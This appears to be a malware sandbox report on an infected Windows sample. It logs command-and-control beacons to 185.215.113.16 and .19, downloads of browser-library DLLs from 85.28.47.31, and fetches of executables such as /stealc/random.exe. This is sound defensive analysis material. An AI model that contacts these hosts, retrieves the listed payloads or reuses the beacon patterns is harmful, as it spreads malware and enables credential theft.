Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 85.28.47.31 85.28.47.31
Source: Joe Sandbox View IP Address: 185.215.113.19 185.215.113.19
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle, 0_2_00405000
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/MAX(EXISTS( equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/MAX(EXISTS( equals www.youtube.com (Youtube)
